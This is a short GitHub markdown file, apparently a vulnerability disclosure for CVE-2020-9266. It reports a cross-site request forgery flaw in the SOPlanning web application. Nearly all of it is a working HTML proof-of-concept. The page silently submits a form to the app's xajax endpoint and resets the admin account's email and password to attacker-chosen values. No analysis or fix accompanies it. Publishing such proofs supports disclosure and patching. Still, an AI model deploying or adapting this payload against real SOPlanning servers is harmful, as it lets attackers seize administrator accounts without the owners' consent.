J3rryBl4nks Update AdminPasswordChangeCSRF.md History

1 contributor

48 lines (25 sloc) | 1.22 KB

CVE-2020-9266

The SOPlanning website is vulnerable to CSRF that would allow for the admin password to be changed:

CSRF POC:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://HOSTNAME/soplanning/www/process/xajax_server.php" method="POST">
      <input type="hidden" name="xajax" value="submitFormProfil" />
      <input type="hidden" name="xajaxr" value="1581702103306" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="ADM" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="test&#64;test&#46;com" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="admin123" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="fr" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="false" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="false" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="true" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="true" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="true" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```